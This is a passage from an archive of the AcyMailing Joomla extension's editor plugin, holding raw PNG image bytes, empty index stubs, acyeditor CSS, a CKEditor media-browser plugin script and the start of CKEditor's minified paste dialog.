IHDR�atEXtSoftwareAdobe ImageReadyq�e<�IDATxڤ��JQƿ���Ԍ���M�6J�M@T����m}���t�BD�E�E(
B]u�`���teCI&��d�������=��3gn�$I�?�82�8i��m���N�Le?�\�Z�̭�|\.�2��O��m�y�S��~8�vE���^��Ⱥ�/����VW�7����l@��MS��Vvz�X��$�f͐n,�*7�M,�˪?9~,�&�a�/���j�p�����2�;8P�Ŧi���R�2�470�ab¶�7=���	,�R��g��v�h7�0P{^�;����oO&�3�lJ����a,��?=�!P��D�~ǒTLs�!d���f�������2`m^])�ԡ�H�oޖJ
� x�bV5�W��r�.���D�<#����S��w�u�`�k�q��iX�t{�nGQ~F�6���t���E��@�བྷ���~
(R�j�Q��s���ـ:�D��s.�a�������IEND�B`�com_acymailing/extensions/plg_editors_acyeditor/acyeditor/images/arrow1.png000060400000002741152455305300023447 0ustar00�PNG


IHDRL�n�tEXtSoftwareAdobe ImageReadyq�e<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:16FEF96EED7B11E4A268DD41B63C8E86" xmpMM:DocumentID="xmp.did:16FEF96FED7B11E4A268DD41B63C8E86"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:16FEF96CED7B11E4A268DD41B63C8E86" stRef:documentID="xmp.did:16FEF96DED7B11E4A268DD41B63C8E86"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>O��UIDATx�b���?�@*���@��*@��
@�
]#�>��B ƣ�-��jY��ĂYPL���/_�d�;g�ȯ_��8ԋ�AqZ�Kd[__�\Yi���'OXѤ����\�}�X�$?�_^^�ǎ..)R9y��4?{��S��Y��ߌgϞ�:u�$Ͻ{�8O�>%����������'))�IhX�[��@�M��ہXƹq�G_o�Թsg��F1-Z����������_��?2899�:���sP!'�W�\�,*�Wz�-'�w@�2���-ea`bb�ЌL��������������#��{�����Ad)7''+ؗ A����YXY�]�_yyy���'�� �����f^q	�?��z_455��������%Kd�����cNNο1�я}|}aq|�\����ݻ---?�<����Z�8o�\�?��URR������������Z��S,,,EBB�����E�|��
�۷o�]\\�e��>�����M�))2=���A�^�~Ųu��Ȩ�7�Ćnxoв���	T
Q;M���Z�].ֲw�rIEND�B`�com_acymailing/extensions/plg_editors_acyeditor/acyeditor/images/editor_zone_text.png000060400000002435152455305300025621 0ustar00�PNG


IHDRo��tEXtSoftwareAdobe ImageReadyq�e<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:E13D5E7BB06B11E49E70FD20254DEB2A" xmpMM:DocumentID="xmp.did:E13D5E7CB06B11E49E70FD20254DEB2A"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E13D5E79B06B11E49E70FD20254DEB2A" stRef:documentID="xmp.did:E13D5E7AB06B11E49E70FD20254DEB2A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>�o��IDATx�b�:Ê����J`� (�74��*�B�A����ظ����9.�����z}#���橫B��89|���+_��v����>��ŋw��%� nn���|��@��k˫W7&L�z��o?�<y�����#n1?��r�ӧ��]���whР/_���3��S��w2?��{��ޅ�3������?@o�4����#�)gή^���߿��c7"ޞ=�T���;a��I�� � w�VAA �߿��ה�>�����Ī o}���?>���m��8bL��"QU/�������v�کׯ���t�������[�7����U��l9pp�߿Iʆ�͙���G*#��L@D���9edĀ$
6������$�1���9
 �0v�Z���IEND�B`�com_acymailing/extensions/plg_editors_acyeditor/acyeditor/images/index.html000060400000000054152455305300023516 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_editors_acyeditor/acyeditor/index.html000060400000000037152455305300022252 0ustar00<!DOCTYPE html><title></title>
com_acymailing/extensions/plg_editors_acyeditor/acyeditor/css/acyeditor_template.css000060400000001172152455305300025436 0ustar00.acyeditor_delete {
	outline: 1px dashed #ab2e39;
}

.acyeditor_text{
	background:url(../images/edit_text.png) no-repeat top right;
	outline: 2px dotted #cbcf46;
}

.acyeditor_picture{
	background:url(../images/edit_picture.png) no-repeat top right;
	outline: 2px dotted #cbcf46;
}

.acyeditor_delete.acyeditor_text, .acyeditor_delete.acyeditor_picture {
	border: 1px dashed #ab2e39;
}

.acyeditor_picture img{
	opacity:0.5;
	-moz-opacity: 0.5;
	-khtml-opacity: 0.5;
	opacity: 0.5;
	-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=50)";
	filter: alpha(opacity=50);
}

.acyeditor_sortable{
	outline: 3px double #5290db;
}
com_acymailing/extensions/plg_editors_acyeditor/acyeditor/css/index.html000060400000000054152455305300023041 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_editors_acyeditor/acyeditor/css/acyeditor.css000060400000013144152455305300023545 0ustar00.acyeditor_text, .acyeditor_picture{
	cursor: pointer;
}

tr.acyeditor_delete td.acyeditor_text:hover, tr.acyeditor_delete td.acyeditor_picture:hover{
	outline: 2px dotted #cbcf46;
}

.acyeditor_zoneeditionsuppression:hover{
	outline: 3px double #5290db;
}

.acyeditor_zoneeditionsuppression{
	display: none;
	top: 0px;
	left: 0px;
}

.acyeditor_zoneeditdelete{
	cursor: pointer;
	width: 100px;
	height: 26px;
	right: 0px;
}

.acyeditor_editdelete{
	cursor: pointer;
	background-image: url(../images/editor_zone_delete.png);
	width: 24px;
	height: 24px;
	float: right;
}

.acyeditor_edittext{
	cursor: pointer;
	background-image: url(../images/editor_zone_text.png);
	width: 24px;
	height: 24px;
}

.acyeditor_editpicture{
	cursor: pointer;
	background-image: url(../images/editor_zone_picture.png);
	width: 24px;
	height: 24px;
}

.acyeditor_btnplus{
	cursor: pointer;
	background-image: url(../images/editor_zone_plus.png);
	width: 24px;
	height: 24px;
	right: 24px;
	float: right;
}

.acyeditor_btnmore{
	cursor: pointer;
	background-image: url(../images/param.png);
	width: 24px;
	height: 24px;
	right: 24px;
	float: right;
}

.acyeditor_btnmove{
	cursor: move;
	background-image: url(../images/editor_zone_drag.png);
	width: 24px;
	height: 24px;
	right: 48px;
	float: right;
}

#legendBground{
	width: 70px;
	margin: 5px;
	float: left;
	font-size: 11px;
	color: black;
	line-height: normal;
	font-family: Verdana, Arial, Helvetica, sans-serif;
}

#colorSelector{
	cursor: pointer;
	width: 15px;
	height: 15px;
	float: right;
	margin: 5px;
}

#colorSelectorInput{
	width: 70px;
	height: 100%;
	border: none;
	padding: 5px;
}

#colorSelectorContainer{
	margin: 4px;
	display: inline-block;
	background-color: #cacaca;
	height: 25px;
	border: solid 1px #B0B0B0;
	border-radius: 2px;
}

tr.acyeditor_delete:hover td.acyeditor_enedition .acyeditor_zoneeditionsuppression{
	display: none;
}

.acyeditor_delete:not(.acyeditor_enedition):hover .acyeditor_zoneeditionsuppression, .acyeditor_text:not(.acyeditor_enedition):hover .acyeditor_zoneeditionsuppression, .acyeditor_picture:not(.acyeditor_enedition):hover .acyeditor_zoneeditionsuppression{
	display: block;
}

.acyeditor_zoneeditionsuppressionhover{
	display: block;
}

.acyeditor_copyButton{
	cursor: pointer;
	width: 100px;
	height: 60px;
	z-index: 998;
}

.acyeditor_copyButtonAfter{
	background-image: url(../images/duplicate_after.png);
	background-size: 100px 60px;
	background-repeat: no-repeat;
	float: right;
	z-index: 999;
}

.acyeditor_action{
	z-index: 998;
	cursor: pointer;
	height: 35px;
	display: inline-block;
	background-color: white;
	border: 1px solid #CCCCCC;
	width: auto;
}

.acyeditor_closebutton{
	cursor: pointer;
	width: 16px;
	height: 16px;
	background-image: url(../images/close_icon.png);
	background-size: 16px 16px;
	position: relative;
	float: right;
	z-index: 999;
}

.acyeditor_mask{
	z-index: 997;
	top: 0px;
	left: 0px;
}

.placeholder{
	outline: 2px dashed #444;
	height: 60px;
	width: auto;
	-moz-box-shadow: 0px 0px 4px 2px #ffffff;
	-webkit-box-shadow: 0px 0px 4px 2px #ffffff;
	-o-box-shadow: 0px 0px 4px 2px #ffffff;
	box-shadow: 0px 0px 4px 2px #ffffff;
	filter: progid:DXImageTransform.Microsoft.Shadow(color=#ffffff, Direction=NaN, Strength=4);
}

tr.ui-sortable-helper .acyeditor_zoneeditionsuppression{
	display: none !important;
}

tr.ui-sortable-helper{
	opacity: 0.8;
	outline: 1px solid #5290db;
	box-shadow: 1px 1px 6px #999;
}

.placeholder:after{
	content: url(../images/arrow2.png);
	position: relative;
	left: 10px;
	top: 20px;
	display: block;
	width: 0px;
}

.placeholder:before{
	content: url(../images/arrow1.png);
	position: relative;
	right: 40px;
	top: 20px;
	display: block;
	width: 0px;
}

.cke_source{
	white-space: pre-wrap !important;
}

.confirmCancel{
	color: #6190b9;
	padding: 10px 15px 10px 25px;
	font-weight: bold;
	font-size: 13px;
	text-transform: uppercase;
	border: 1px solid #93b7d6;
	border-bottom: 2px solid #93b7d6;
	border-radius: 5px;
	-moz-border-radius: 5px;
	-webkit-border-radius: 5px;
	margin: 15px 5px 0px 50px;
	cursor: pointer;
	background: #fff url(../images/popup_cancel.png) no-repeat 10% 50%;
	width: 100px;
	float: left;
}

.confirmCancel:hover{
	border: 1px solid #8baac7;
	border-bottom: 2px solid #678fb6;
	background: #adc7e0 url(../images/popup_cancel_hover.png) no-repeat 10% 50%;
	color: #fff;
	text-shadow: 1px 1px 2px #5a89b7;
	-moz-text-shadow: 1px 1px 2px #5a89b7;
	-webkit-text-shadow: 1px 1px 2px #5a89b7;
}

.confirmOk{
	color: #dc5d55;
	padding: 10px 25px 10px 15px;
	font-weight: bold;
	font-size: 13px;
	text-transform: uppercase;
	border: 1px solid #eeb6b3;
	border-bottom: 2px solid #eeb6b3;
	border-radius: 5px;
	-moz-border-radius: 5px;
	-webkit-border-radius: 5px;
	margin: 15px 50px 0px 5px;
	cursor: pointer;
	background: #fff url(../images/popup_delete.png) no-repeat 90% 45%;
	width: 100px;
	float: right;
}

.confirmOk:hover{
	border: 1px solid #d4615b;
	border-bottom: 2px solid #b13e38;
	background: #eb837d url(../images/popup_delete_hover.png) no-repeat 90% 45%;
	color: #fff;
	text-shadow: 1px 1px 2px #c54e48;
	-moz-text-shadow: 1px 1px 2px #c54e48;
	-webkit-text-shadow: 1px 1px 2px #c54e48;
}

#confirmBox{
	width: 370px;
	height: 100px;
	background: rgba(255, 255, 255, 0.8);
	border: 1px solid #d6d6d6;
	padding: 5px;
	border-radius: 5px;
	box-shadow: 1px 1px 5px #dddddd;
	-moz-box-shadow: 1px 1px 5px #dddddd;
	-webkit-box-shadow: 1px 1px 5px #dddddd;
	position: absolute;
	z-index: 999;
}

#acy_popup_content{
	background-color: #fff;
	padding: 20px;
	text-align: center;
	color: #706f6f;
	height: 60px;
}

div[name="emojipopup"] .cke_dialog_ui_vbox_child div.cke_dialog_ui_html{
	height: 250px;
	overflow-y: auto;
	overflow-x: hidden;
}
extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/acymediabrowser/icon-16-mediabr000060400000000753152455305300031350 0ustar00com_acymailing�PNG


IHDR�abKGD�������	pHYs��tIME�8���MxIDAT8�œ?�a�����O��u7���B@ld����~�+r�"�'H�"�s� b%�D�.(
ﻓf�́Db����w�g�y�wH����$IPU�/�1�v��E�ND~���-�,;��z�������A`�f���b��9�N�50���@UoU�IUoOԼ>���n�h4Ω���<��}��sl�����]�W��}M��z0��g ���G<�+��0�G��M�Z��T*�Oi���ֲ����Z��MD�F��ȮV���f�x<�]���|>��j��v1Ơ�8��f�a�^�\.��by�I�Ļݎ<��( �2�<�@᝗V�km��d�*�
#=30�ni�K��7�`��)��8IEND�B`�com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/acymediabrowser/plugin.js000060400000002323152455305300030556 0ustar00(function() {
	var a= {
		exec:function(editor){
			if (parent.IeCursorFix)
			{
				parent.IeCursorFix();
			}
			if (parent.SetIgnoreDeselection)
			{
				parent.SetIgnoreDeselection();
			}
			var itemElement = document.getElementById('AcyLienMediaBrowser');
			if (itemElement)
			{
				if (FireClick)
					FireClick(itemElement);
			}else if(parent.FireClick)
			{
				var itemElement = parent.document.getElementById('AcyLienMediaBrowser');
				parent.FireClick(itemElement);
			}

		}
	},
	b='acymediabrowser';
	CKEDITOR.plugins.add(b,{
		init:function(editor){
			editor.addCommand(b,a);
			editor.ui.addButton("acymediabrowser",{
				label:editor.lang.acymediabrowser.toolbar,
				icon: this.path.split("/plugins/")[0] + "/media/com_acymailing/images/editor/icon-16-mediabrowser.png",
				command:b,
				toolbar: "insert"
			});

			editor.on('doubleclick', function( evt ){
				var element = evt.data.element;

				if ( element.is( 'img' ) ){
					var itemElement = document.getElementById('AcyLienMediaBrowser');
					if(itemElement){
						FireClick(itemElement);
					}else{
						itemElement = parent.document.getElementById('AcyLienMediaBrowser');
						parent.FireClick(itemElement);
					}
				}
			});
		}
	});
})();
extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/acymediabrowser/index.html000060400000000054152455305300030637 0ustar00com_acymailing<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/icons2.png000060400000024063152455305300025452 0ustar00�PNG


IHDRP��� IDATx��}{p���k�<43�G3�Go!$Y�Coa$�Q�#�pH�ݥ�.�w	���u��/Ky�r�8K�˽�f�����x��
666�lc[�,[�y��̹Lw���{fd1�U]�|������q�s����`?�gԩ3u�����}I,���$�� ��$�v��a�cR�5��|w]]�u�ϟ������+V��v�޳g�Vϛ7���o�l��sj� @$�I(P�lٲ�~2d�7����	�Xclcl1�q���H���Ye9^]1�LB�<ov�\;�v;f͚"�SO=�Ƕ��MY	b�"�H����������ᰭ���7�
8��9�V��A����F"�FDc]]]oRYYY�S��&$�I0ƾ��@Yww�vA����h��"���7�c����x���
CCC1"
0ƴ	��q�B!�L&��d��q�V+jjjp��Y�x��C]����0�Lp��H&��d29:11qz�ڵ�…w0�"ٚ��)��lB~����|Ʒ@D����n|>q���u�����(▯��f��A066��g�
[�n��==HDC˗/�E������D%�fe9]�`-c�	Ap�…����'3Ǝ�E�1&��1����w����q�����h3g�|�16�U&��z����M7��v���[o������D4�W(7
��D"q��i�|� ��k�=��T�Y�:��9s����G�A��j�l06c�sAA��$��(��?B��R-i�2%h��s�*���ȪQ.�KjR0`��2��X��*��������������8$	D�Q��q������ܾgϞ��}>�؝w�I˖-�w�y'�L&�������w�ŋӏ�c����kooo����M�я~�H
��Z|���1y��"œ9s@Dؼy3��c��16�{�1֣���۷o?�f͚F�Á��a

ahh(9::�GO;��A��;�>[K��f3�<�L�(D�(�2(ONNb�ڵܞ={���Bp��^�d�i>�z�D�����˗��3g�`Ϟ=r=-��>���g�u3�b��K�p�`�f�J��̞=�x����("���$JKKQ]]���<��3�p�
��ؿ|ӦM�����1LLL����G}49k֬����48O����)"�KD����'����_��Ҡ%����x)
ԭH�p�or�v8'��r���w����A�Z�Gs��s��?

��t�M�Ϸ���~���s�΍:th�Y"Q'=u��77��n\�t�Җ-[>�c쭬0�<��#?�D"�P(��W�\��^�4�����8��8�n��v��=	�����p����|>��h4�;�,--kii!�D=lŔf:�V�l6��q��.�&��D�y�ԩ�>��l��~��~Q������H�$��D�ĥ���s5I$q@D�xME�a����4�}�u{S�T1�I�W?2�>&"�I�u�]W�E �ba�5H_c(:�.�S����g�����8
.��cL���4��)�����1A��4�j�Z`�	�R,�1�1/!�|F�E���l^��@��ŀ�/*26mX��Ik
�L�YW7%���*�}1����1�d�<��((HgnΜ9x衇PRR���A ��#�H���B!��~�bi�8�b�XF! ��� ��,�{�⦵f:Q�Ww�[
���5b����f3�H$�L&Өhu�yAPTT�Q�+---���Z��Y	�B�c�`��Ճ����u8���1444�R�IæM������������%��F�\s
uww���=ND+�����ϻ���X���8G2�ikk}饗�z$��Q����N�E"z[\rf���1P�k�TA�AC�������/,�v;�vmY��X�9�|g���:�1c!�0��V/��f���k	�����)���;�β��b0�p��Ilذa)���{{{{w̛7��㗿��v7pPZZ�,���111��
7*��^YY���1���!�L����������5gϞťK�011oK����3g�Ν;���I��~���#Dd�o�w��U�=��pp�n��F�����@�D�Ў;..\���W�����H����w߂����}"�S�OD�����ӣ�>�V���lllL<��S�'�/i�466Rss�"Tg���׾��WtF��jkk/��ՙ���?}��^M�8��|���+Z���x|��V��m޼�i"�_'߀��z#�Uyծ��#-�\�����\.R�Q-��X,����J"P�!�a�Xt�D�7c���\�Ma����l����nhq�Ք��i�I@ID��K��DD���ĩ����mZ��aֱn�Ǧȟ��~��@��\��'���c�`@�^0�B^�D4o��t	HD���^0�/4�@\`�A/��ٻ�����EEEcH�)�Qm�ن+**���������K���V�P��`+((ذ|��R�ϷG���w�����,Y�`�Z#��Z�/,[����c``�=��������'[[[b��m��d29���w��:s�ȑ�c��G�,�o�͛�����B<Gmm-N�8x���,//��16���X���aÆã��1�χ�����&�|��=���+�ʚD"'=�/��褴���"^�w=c�@ZY-H�5m����F�� 8��ʝ;w~���l�`Cgg�|�Ͷ�����,**z�������;�ڸ��v�}h```g{{{x˖-OQ)���믿>��ӳ����R��l�� ��C�>���[�:m)�񎎎�D�.��|	�L�S "���<��s���>��R~ww�w�v��~��hII�D4m�۷o�5�����կ�*�
����ۈԙ�Ck׮�=9�Q/�NNыDT����i"�q�V'0���^�`�C/�B��n'q��^!�y�7x���o��9s&���o���H}��خ&p��ѣ|cc�쾾� D�&�m��c��{�nSS��)���ND�(e��q1o��j͜\Ϝ93��:���%�4�S6��������F�,H�S��i����Қ����|�&(�kq!��+�&��a�_M�!�+ƥPp��&��.�(�49�8�����i��샌��w�y�(���PPP��jD��D�[ZW���S�&g\�f��~�����\���s984`������^��|1!(�=���vp��	EDH&��x���?��*��#�<BV�5�!�`͚5�0��w�l6C�FzH&���b���ǫd�Nb#o������lFII	L&S�
R��ŋ��b�q�nϘE�y���!"��L�1>�쳟«l�X�� �~
���s6`���4Z[[��2�s57���q��K��c�c�!%�t��I�ɬ��j�	g��/Rg�����lj���d�޻��?�b�
]�Ҏ�K����"��F��������Lu����j�^�XCC!�Jn����3�ҹ6��bY?00�7o|>���v;d�E����~���sGaa�Qw���
�'	D"tvv:l6�I�1����S�NٝN��4�<Ap��Q���`�̙D��011���a?~<�������͡PH�抚�)7O��� H�N��\VV�D"���� �I� ��h`�ን���zE��f�D�|I�i������~�*�_�
i�.�1���D�`���@D<�NI�Ts��xr7A�.ADR��P�2�����8xE<����I}�u�3�����v���|�kd�b7���Yŋħ ?�(�?��K�O�$p����%���-��>�*@D�&���B�u�.�N����ۑn�������~`�Z���2)�Edʋ��j�cL��J�I"*G��8�ӑ��ٳ�Uq�Ѻu�
y��_(�����j�hMyfڢ�����s���!9a��SxjP�������x<o�a)��k荓���J&��ģڕ����2�����	�{PXX�˳�,}��=����X,�W��鍬�D��T��|~�g?_p��W6_��Լ!͸Q��v����8oxE� �|A�V��IDS��/h������o�;Ř/0p�c��j����q�V�_�N�@���� @D��:�-
���Z��햚�W�ٯ��N�	H:���)�O��T°���>�ar%�}@D�GGGGw9
��}Y������W�Ü}��ދ�|A��������)�ſ�T�}�K^_PB�l"Ƙ��#��-�XV�a���U
����.**��~L��2�)[U u���V�5���D���#���X�ŷ���N~�!&''/1�����hii���^�9+b�֭[���	���LG�a�PRR�9s�����D�D"�p8,����q����?��?e�-�F��ðX,P,��[�D�x<.W�n��f,�j"�l)��	��J5}�J��,h3l4c���l�B�͉�*q�ۄ��I$	0���!�	�'-�h<���$ cݺu��^�ź�:���
���o[�j�J�=E��Vg+++�@aaa���=Dt!���T��D�]"jT�qѯS\q��Hyx-��=���;ҸlҬ΀@_/T���}���pF(A����z��pD�͛GMMMd�Z�H�X�"�/����(�$狋�鮻��lc�dǏ��Çq��9�%��鮫�ÁX�LR��`P��qjjjPWW���N�>
@!%'	W`�q�8В��Fe��x<A2*)��I�^��&	��Ľn��0���EAAA��P��ccc��&��h4���v����0�L "��a��dSr���r+���)"��jժ-����jkk�uuu�z/�[�nI�+׈�ߍ�~�LD~Qo\ �{�}�S΋��Qo�qY��*���7`���i�^���BʰS��W,�&T�9HD)V*�555TUUE�4"�����HD��P(��պ[y���n���N[��Z��C��oDNRp��DD�����D���(_�Hduu5Q��H���f;�KVVV�Z�s��i��j�[YY��1���lS�����o��6JɊQ���


������uR ��X�z�V��(��]�b��+V��z
W�^����BI�'��(�@y���L{[,�Z�W����Ĩ�Zi���s�,��`0x�z����������0��c,YQQ��<c�/gϞ=�1v��jmX�h���ӂ ����իWo޲eˣ�˖-[#�)��Tl�t���g��#��]]];�c�����j��������Dd&��-Z������Ν;AD;�(�3�����+��L�檪�ᎎ�D{{;���Ӭ��:gg̘1LD���ڤM�姐
k׮u8���|����n����AO��R�f���b��'�(|��j��L?R��vcj'$R�U]�+��^�t)-]��D"���4׌1٭[YYo2�`2�PVV��������UUU������k/�	h��m���������g�������+�1J�<fh{��x�����>�wH>lܸ���t�d2ܸq��10p�@O`�#l��\��<�ӓ����r?Oq�/0�6W��1j�\�(wDAA�,�y��=�|t}��g�
�:����
@��Y�w)kQ����Z��&����n%"y����U��'=���i
������#}Z��<F���}pZ�Q�]TT�Ҧ�c
�Jg��}��b�d�gԏQ�'�˴#	"�F|g_t��|�!d�f籊��j��\BF-qo ;�kaB��JJJ�8B�B
Y��#d2��R���2�y�Z2Z�QK�O�1f��>��?�Ǩ%�s>[TWW�ܹs����L&xB��&��:::h�ܹ$9\������18���x㍌A%o���לN� �1�ӧO���l�ɓ'a6�!� c�oԷg��� �ʲ�L�kt�-�Pkkk��bkk+�r�-�D�5SF�,))�L)��+P?��


���O���
":^RR�Yپ��o�WD�(�d�\D���X�'�����B��=�P��!�=ADWl�4��UPb�Ie���~*<S}}=,X BF��F�@.���f"ž2�477�…%N�����(
����ΝÛo��la���H�7-X����r;v6�
;v�Hyp�è��@(��8$U�C<Ͽ
�PQQ��k�ܹs���y�d�Vwcl����V� ;m�`hhH�}2�u�~\"������_�Z�Dy�_Ќ�eZ�X
��U�T��f�D`��ij��	�X�� A���s가ƥ��h��P�V�����SP*PWP�k5Y�������(�Eb���w��'�P[[�5ւ��+���2�ލX>5|����S��3]]�!맫+2X����js^��˓�qy4�Fz>M3.��K��7t��O�].��OW/(Y���񮮮���~����^$b���DS/455�� ϋ>*A��n�=���C�����kHʕ�|���Z����h��f�#D��p��7o���~��	H��2HwV�N�r�#���*���鱮A�F@\�с�IK=�P;�����)f��PA�B{���ԔU477�:��酴��ܸ��4�����M�KW�r����%����	�-s��2�ps�t�L@���|A�z�"�B��GZ>����.���.ч�+|~�]dy��+c�U�����a֬Yoz<��?��L����QRR������t���#��,���@#���gM]]�kxx8��?��cJ7�b����cl�]�/^�F��x��kX*�&���6�
�hEEE�U�$�t:
��ߏ%K��ժ�
������ŋ���eL여Ps������D"�y�{�K�+�`��㨯��1&�4V!�Hu�H����555��x�w�Y!�9�n��ǝ����,))Y�Q[XHG���4'mmoo?�p8�g�^�ti�4bOb��ϨXc�l
���q�x[[�q\`hh�Y��v�u9������~��-^��R�w�J��K���������F�s�;KKK�]�d��/�00�Bv�������477g%����x�R^�j�
�W��*e�>�O��^�W{�!n��1�N�I��M���n�����*��q())!�lu8�5k�vD[,+�q��SQQ�=�r����!�ټ�Yi��Ƌ�MrOgg�m6����7�����cs��]`��vJ
���$���ϟ��{1kCggg����NL�ʿ�N�3
��;t�MAc�%Mq�(�##K9�Di:�W�̍i���-��O
�t��,�RM
5�r�&rѓ�DTKDg�����!�k��lQQ�>]1�"�'/U
Y/�'@�}҆~��� ��E]!����l6������z�������'��^`U��Η̝;wYqq������o6��@gg�m���	R'rw_ggg�1����Op�W������$]П�\��唲y�:H?��mC'���0�W8����{���1�H� L�T�bdK�y���8���
�@D�Z��X,�F��DR.3�i�1�l6̘1���$"J(�����:;;��`��y=�X,�O��ٳ��"h}�z2��Z�ϰ5�I3�L��X�s�X,y�q>���v��|�9>dt"R+:9�***��@'<U��3�j�ȶV�uY�V�R�`b��N"��.0`�s'R�/�>RMӃ�#�������_�2�Fq�ر�	�2�^����={6��3�Ej��0�Mj��_�ٯ~��N�ǃx<�d2	����"����ĉ�<�e�@,�F%o�IDAT\�pEaaa���0� G	���p8p�ݨ��DMMM����]�`���2�ry�pUUU�����y��a����N�%%%���b�ڵ+���� "�'��w�}������jll$q�]�������i�8kɜ��k쫏?��f�},�]��Dt�����d�&$�����w�f�fM"�o�ʕ�u	���D�R����0`��'����Q7|����@΁fKK��Z�dz
)��iu�#-��������f�����d2�t�ܹ/x�8��0����\sMKQQ�V+���da2�0::�W_}u���R3�^ZZ�����p8�X8�'\�`� ����+//oݴi������~u���ctt��8�s3gΜ�y����� `bbCCC�|�����1��7kkkgΜ���sϡ���@@���	EEEKvtt��g��o1�>P�}�O~�-�����C�6��l6��Ǐ�K�3ߙ��+W�'�����l�FD�R6��d<�DDn����`�C/z����r��燗���������j�#�H|�Q
�y�9�	��%+�)�������F��>���-��1�#G���7�%����������z$	��h4���1���}���~sxx8 �O'	444����@�WWW��� "���(�~?���,]���E�=����P(���J�L@��,b����}��f����������b1y�]>,,I�X,�����w�}��H��;;::֏����br9�k@n�t����}��MH逿a��[�x�@  s*�����x�.]�<��3[8
�3�����?�r�…�X,�aZ���PXX��:���ʿϜ9�`�K�%��d2	A�D�z��=��Q��=^�w���t�1v'c,���O���lF�S���ın�a=syy�j���b������mhhX��2AZҢl���X"�0����g�U,nkksI��^��rll�oc�~��####�B�Unll�f2��c�����t:QUU%wTAAN�:�@ ���͆d2�ƻ�{�ӧO�l``�}ttt��b1K�"�,�1�n-��<Ϟ;v��|����~C���1�W�R�k3?j�VH�3��恖[o��z�!�;w�Mgٖ����B4Ekk��f�C=����{B�����	����t�hiiq
�p��'���h4����	�-/������8���}�����bg***��C�����=��ҥK���B�Pu<��ٳ3�<�t:q���Ѫ��c7�p�1��ޥK�b�\s��]���I����/b���~�a�`���~����Ej	�ZM�����'��=y��e����VWWG���k������8����<"�^8�d2I/��R����+W��f�ڸIm�'���y<�:�]TT������+.��[�+K�9s����y��� FGG��o�s@D�iݞ1K\ijkk�z�j…p���)*b柸	3f�@ii��;	�x###�«�	PTT��S�r�:�O��o��x:�����X5�$$�v�*P�q�GZ�-q�"�����|��׾&WRB�9so��VZ���i�*�9k�����9�?>x���k�A�H$����;wn���dF�,H�	�"?�z{{[�c-��\D�-M�w1����dVV"B<���c�JN���H�3��H�ꑚ��M
�SeJx��U*���H	A099��ʧp&ǝ� ��	�Wi�A��t�0p�#�a��:�|A\k���sS�6R�F��X��s����D�H.\�uB����MR��
"*T��5_���p�c�n�s6A�i|��@G/�|���+E�Ԝ�"k��y���v�R*�:�������_���rx�^X�֌Ej�#�u�\,g�^�	Dd3u<�f6A��n7y�^]!�#�����d�����<׬��XG2p���F\��zIEND�B`�extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/clipboard/dialogs/paste.js000060400000006430152455305300030521 0ustar00com_acymailingCKEDITOR.dialog.add("paste",function(c){function h(a){var b=new CKEDITOR.dom.document(a.document),f=b.getBody(),d=b.getById("cke_actscrpt");d&&d.remove();f.setAttribute("contenteditable",!0);if(CKEDITOR.env.ie&&8>CKEDITOR.env.version)b.getWindow().on("blur",function(){b.$.selection.empty()});b.on("keydown",function(a){var a=a.data,b;switch(a.getKeystroke()){case 27:this.hide();b=1;break;case 9:case CKEDITOR.SHIFT+9:this.changeFocus(1),b=1}b&&a.preventDefault()},this);c.fire("ariaWidget",new CKEDITOR.dom.element(a.frameElement));
b.getWindow().getFrame().removeCustomData("pendingFocus")&&f.focus()}var e=c.lang.clipboard;c.on("pasteDialogCommit",function(a){a.data&&c.fire("paste",{type:"auto",dataValue:a.data})},null,null,1E3);return{title:e.title,minWidth:CKEDITOR.env.ie&&CKEDITOR.env.quirks?370:350,minHeight:CKEDITOR.env.quirks?250:245,onShow:function(){this.parts.dialog.$.offsetHeight;this.setupContent();this.parts.title.setHtml(this.customTitle||e.title);this.customTitle=null},onLoad:function(){(CKEDITOR.env.ie7Compat||
CKEDITOR.env.ie6Compat)&&"rtl"==c.lang.dir&&this.parts.contents.setStyle("overflow","hidden")},onOk:function(){this.commitContent()},contents:[{id:"general",label:c.lang.common.generalTab,elements:[{type:"html",id:"securityMsg",html:'<div style="white-space:normal;width:340px">'+e.securityMsg+"</div>"},{type:"html",id:"pasteMsg",html:'<div style="white-space:normal;width:340px">'+e.pasteMsg+"</div>"},{type:"html",id:"editing_area",style:"width:100%;height:100%",html:"",focus:function(){var a=this.getInputElement(),
